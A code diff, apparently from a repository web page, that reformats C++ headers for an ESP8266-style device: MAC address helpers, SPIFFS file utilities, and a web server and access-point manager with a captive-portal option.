@@ -287,23 +313,35 @@ void setOutputPower(float dBm) {
|
||||
bool macBroadcast(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != broadcast[i]) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool macValid(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != 0x00) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool macMulticast(uint8_t* mac) {
|
||||
// see https://en.wikipedia.org/wiki/Multicast_address
|
||||
if (mac[0] == 0x33 && mac[1] == 0x33) return true;
|
||||
if (mac[0] == 0x01 && mac[1] == 0x80 && mac[2] == 0xC2) return true;
|
||||
if (mac[0] == 0x01 && mac[1] == 0x00 && (mac[2] == 0x5E || mac[2] == 0x0C)) return true;
|
||||
if (mac[0] == 0x01 && mac[1] == 0x0C && mac[2] == 0xCD && (mac[3] == 0x01 || mac[3] == 0x02 || mac[3] == 0x04) && (mac[4] == 0x00 || mac[4] == 0x01)) return true;
|
||||
if (mac[0] == 0x01 && mac[1] == 0x00 && mac[2] == 0x0C && mac[3] == 0xCC && mac[4] == 0xCC && (mac[5] == 0xCC || mac[5] == 0xCD)) return true;
|
||||
if (mac[0] == 0x01 && mac[1] == 0x1B && mac[2] == 0x19 && mac[3] == 0x00 && mac[4] == 0x00 && mac[5] == 0x00) return true;
|
||||
if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) &&
|
||||
((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) &&
|
||||
((mac[4] == 0x00) || (mac[4] == 0x01))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) &&
|
||||
((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) &&
|
||||
(mac[5] == 0x00)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -311,7 +349,9 @@ bool macMulticast(uint8_t* mac) {
|
||||
void getRandomMac(uint8_t* mac) {
|
||||
int num = random(sizeof(data_vendors) / 11 - 1);
|
||||
uint8_t i;
|
||||
|
||||
for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i);
|
||||
|
||||
for (i = 3; i < 6; i++) mac[i] = random(256);
|
||||
}
|
||||
|
||||
@@ -321,7 +361,6 @@ int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
|
||||
listBytes[0] = pgm_read_byte_near(data_macs + mid * 5);
|
||||
listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1);
|
||||
listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2);
|
||||
@@ -337,7 +376,6 @@ int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return -1;
|
||||
@@ -350,8 +388,10 @@ String searchVendor(uint8_t* mac) {
|
||||
|
||||
if (pos >= 0) {
|
||||
char tmp;
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i);
|
||||
|
||||
if (tmp != ENDOFLINE) vendorName += tmp;
|
||||
tmp += SPACE;
|
||||
}
|
||||
@@ -360,13 +400,14 @@ String searchVendor(uint8_t* mac) {
|
||||
return vendorName;
|
||||
}
|
||||
|
||||
|
||||
/* ===== STRING ===== */
|
||||
String bytesToStr(uint8_t* b, uint32_t size) {
|
||||
String str;
|
||||
|
||||
for (uint32_t i = 0; i < size; i++) {
|
||||
if (b[i] < 0x10) str += ZERO;
|
||||
str += String(b[i], HEX);
|
||||
|
||||
if (i < size - 1) str += DOUBLEPOINT;
|
||||
}
|
||||
return str;
|
||||
@@ -388,8 +429,7 @@ bool strToMac(String macStr, uint8_t* mac){
|
||||
return false;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -406,13 +446,13 @@ void strToColor(String str, uint8_t* buf){
|
||||
return;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 3; i++)
|
||||
buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
}
|
||||
|
||||
String buildString(String left, String right, int maxLen) {
|
||||
String result = left;
|
||||
int spacesToAdd = maxLen - left.length() /*utf8Len(left)*/ - right.length() /*utf8Len(right)*/;
|
||||
|
||||
for (int i = 0; i < spacesToAdd; i++) {
|
||||
result += SPACE;
|
||||
}
|
||||
@@ -424,6 +464,7 @@ String buildString(String left, String right, int maxLen){
|
||||
bool progmemToSpiffs(const char* adr, int len, String path) {
|
||||
prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS));
|
||||
File f = SPIFFS.open(path, "w+");
|
||||
|
||||
if (!f) {
|
||||
prntln(SETUP_ERROR);
|
||||
return false;
|
||||
@@ -442,7 +483,9 @@ bool progmemToSpiffs(const char* adr, int len, String path) {
|
||||
bool readFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "r");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
if (f.size() == 0) return false;
|
||||
|
||||
while (f.available()) buf += (char)f.read();
|
||||
@@ -455,6 +498,7 @@ bool readFile(String path, String &buf) {
|
||||
void readFileToSerial(String path, bool showLineNum) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "r");
|
||||
|
||||
if (!f) {
|
||||
prnt(F_ERROR_READING_FILE);
|
||||
prntln(path);
|
||||
@@ -463,6 +507,7 @@ void readFileToSerial(String path, bool showLineNum) {
|
||||
|
||||
uint32_t c = 0;
|
||||
char tmp;
|
||||
|
||||
if (showLineNum) {
|
||||
prnt(buildString(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
@@ -470,7 +515,8 @@ void readFileToSerial(String path, bool showLineNum) {
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
prnt(tmp);
|
||||
if(tmp == NEWLINE && showLineNum){
|
||||
|
||||
if ((tmp == NEWLINE) && showLineNum) {
|
||||
c++;
|
||||
prnt(buildString(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
@@ -481,6 +527,7 @@ void readFileToSerial(String path, bool showLineNum) {
|
||||
|
||||
bool copyFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!SPIFFS.exists(pathFrom)) {
|
||||
@@ -503,6 +550,7 @@ bool copyFile(String pathFrom, String pathTo){
|
||||
|
||||
bool renameFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!SPIFFS.exists(pathFrom)) {
|
||||
@@ -518,11 +566,12 @@ bool renameFile(String pathFrom, String pathTo){
|
||||
bool writeFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "w+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
for (uint32_t i = 0; i < len; i++)
|
||||
f.write(buf.charAt(i));
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i));
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
@@ -531,11 +580,12 @@ bool writeFile(String path, String &buf) {
|
||||
bool appendFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = SPIFFS.open(path, "a+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
for (uint32_t i = 0; i < len; i++)
|
||||
f.write(buf[i]);
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf[i]);
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
@@ -543,13 +593,14 @@ bool appendFile(String path, String &buf) {
|
||||
|
||||
void checkFile(String path, String data) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
if (!SPIFFS.exists(path))
|
||||
writeFile(path, data);
|
||||
|
||||
if (!SPIFFS.exists(path)) writeFile(path, data);
|
||||
}
|
||||
|
||||
bool removeLines(String path, int lineFrom, int lineTo) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = str(F_TMP) + path + str(F_COPY);
|
||||
@@ -561,8 +612,9 @@ bool removeLines(String path, int lineFrom, int lineTo){
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
if(c < lineFrom || c > lineTo)
|
||||
f2.write(tmp);
|
||||
|
||||
if ((c < lineFrom) || (c > lineTo)) f2.write(tmp);
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
@@ -577,6 +629,7 @@ bool removeLines(String path, int lineFrom, int lineTo){
|
||||
bool replaceLine(String path, int line, String& buf) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = "/tmp" + path + "_copy";
|
||||
@@ -588,13 +641,15 @@ bool replaceLine(String path, int line, String &buf){
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
if(c != line)
|
||||
f2.write(tmp);
|
||||
|
||||
if (c != line) f2.write(tmp);
|
||||
else {
|
||||
f2.println(buf);
|
||||
|
||||
while (f.read() != NEWLINE && f.available()) {}
|
||||
c++;
|
||||
}
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
@@ -689,7 +744,4 @@ String formatBytes(size_t bytes) {
|
||||
else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef functions_h
|
||||
File diff suppressed because one or more lines are too long
@@ -83,7 +83,7 @@ void stopAP() {
|
||||
}
|
||||
|
||||
void wifiUpdate() {
|
||||
if (wifiMode != WIFI_MODE_OFF && !scan.isScanning()) {
|
||||
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||
server.handleClient();
|
||||
dnsServer.processNextRequest();
|
||||
}
|
||||
@@ -93,36 +93,51 @@ String getWifiMode() {
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
return W_MODE_OFF;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
return W_MODE_AP;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
return W_MODE_ST;
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
String getContentType(String filename) {
|
||||
if (server.hasArg("download"))
|
||||
return String(F("application/octet-stream"));
|
||||
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||
|
||||
if (filename.endsWith(str(W_DOT_GZIP)))
|
||||
filename = filename.substring(0, filename.length() - 3);
|
||||
if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||
|
||||
if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||
|
||||
return str(W_TXT);
|
||||
@@ -133,6 +148,7 @@ bool handleFileRead(String path) {
|
||||
prnt(path);
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||
|
||||
String contentType = getContentType(path);
|
||||
@@ -140,7 +156,8 @@ bool handleFileRead(String path) {
|
||||
if (!SPIFFS.exists(path)) {
|
||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(W_DOT_GZIP);
|
||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||
W_DOT_GZIP);
|
||||
else {
|
||||
prntln(W_NOT_FOUND);
|
||||
return false;
|
||||
@@ -155,6 +172,7 @@ bool handleFileRead(String path) {
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/*
|
||||
void handleFileUpload() {
|
||||
// only allow uploads on /edit address
|
||||
@@ -181,6 +199,7 @@ void handleFileUpload() {
|
||||
//Serial.println(upload.totalSize);
|
||||
}
|
||||
}*/
|
||||
|
||||
/*
|
||||
void handleFileDelete() {
|
||||
if (server.args() == 0)
|
||||
@@ -195,6 +214,7 @@ void handleFileDelete() {
|
||||
SPIFFS.remove(path);
|
||||
server.send(200, str(W_TXT), String());
|
||||
}*/
|
||||
|
||||
/*
|
||||
void handleFileCreate() {
|
||||
if (server.args() == 0)
|
||||
@@ -213,7 +233,6 @@ void handleFileCreate() {
|
||||
return server.send(500, str(W_TXT), "CREATE FAILED");
|
||||
server.send(200, str(W_TXT), "");
|
||||
}*/
|
||||
|
||||
void handleFileList() {
|
||||
if (!server.hasArg("dir")) {
|
||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||
@@ -227,13 +246,12 @@ void handleFileList() {
|
||||
String output = String(OPEN_BRACKET); // {
|
||||
File entry;
|
||||
bool first = true;
|
||||
|
||||
while (dir.next()) {
|
||||
entry = dir.openFile("r");
|
||||
|
||||
if(first)
|
||||
first = false;
|
||||
else
|
||||
output += COMMA; // ,
|
||||
if (first) first = false;
|
||||
else output += COMMA; // ,
|
||||
|
||||
output += OPEN_BRACKET; // [
|
||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||
@@ -252,7 +270,8 @@ void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||
server.send_P(200, str(type).c_str(), ptr, size);
|
||||
}
|
||||
|
||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network is visible, captivePortal = enable a captive portal
|
||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||
// is visible, captivePortal = enable a captive portal
|
||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||
if (password.length() < 8) {
|
||||
prntln(W_ERROR_PASSWORD);
|
||||
@@ -260,6 +279,7 @@ void startAP(String path, String ssid, String password, uint8_t ch, bool hidden,
|
||||
}
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (password == String(ZERO)) password = String(NEWLINE);
|
||||
|
||||
wifi_config_path = path;
|
||||
@@ -347,7 +367,6 @@ server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, [](){
|
||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
});
|
||||
|
||||
}
|
||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
||||
if (!settings.getWebSpiffs()) {
|
||||
@@ -411,18 +430,20 @@ server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, [](){
|
||||
printWifiStatus();
|
||||
}
|
||||
|
||||
|
||||
void printWifiStatus() {
|
||||
prnt(String(F("[WiFi] Path: '")));
|
||||
prnt(wifi_config_path);
|
||||
prnt(String(F("', Mode: '")));
|
||||
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
prnt(W_MODE_OFF);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
prnt(W_AP);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
prnt(W_STATION);
|
||||
break;
|
||||
@@ -440,7 +461,8 @@ void printWifiStatus() {
|
||||
}
|
||||
|
||||
void startAP() {
|
||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||
}
|
||||
|
||||
void startAP(String path) {
|
||||
@@ -466,5 +488,4 @@ void resumeAP() {
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
#endif // ifndef WifiManager_h
|
||||
Reference in New Issue
Block a user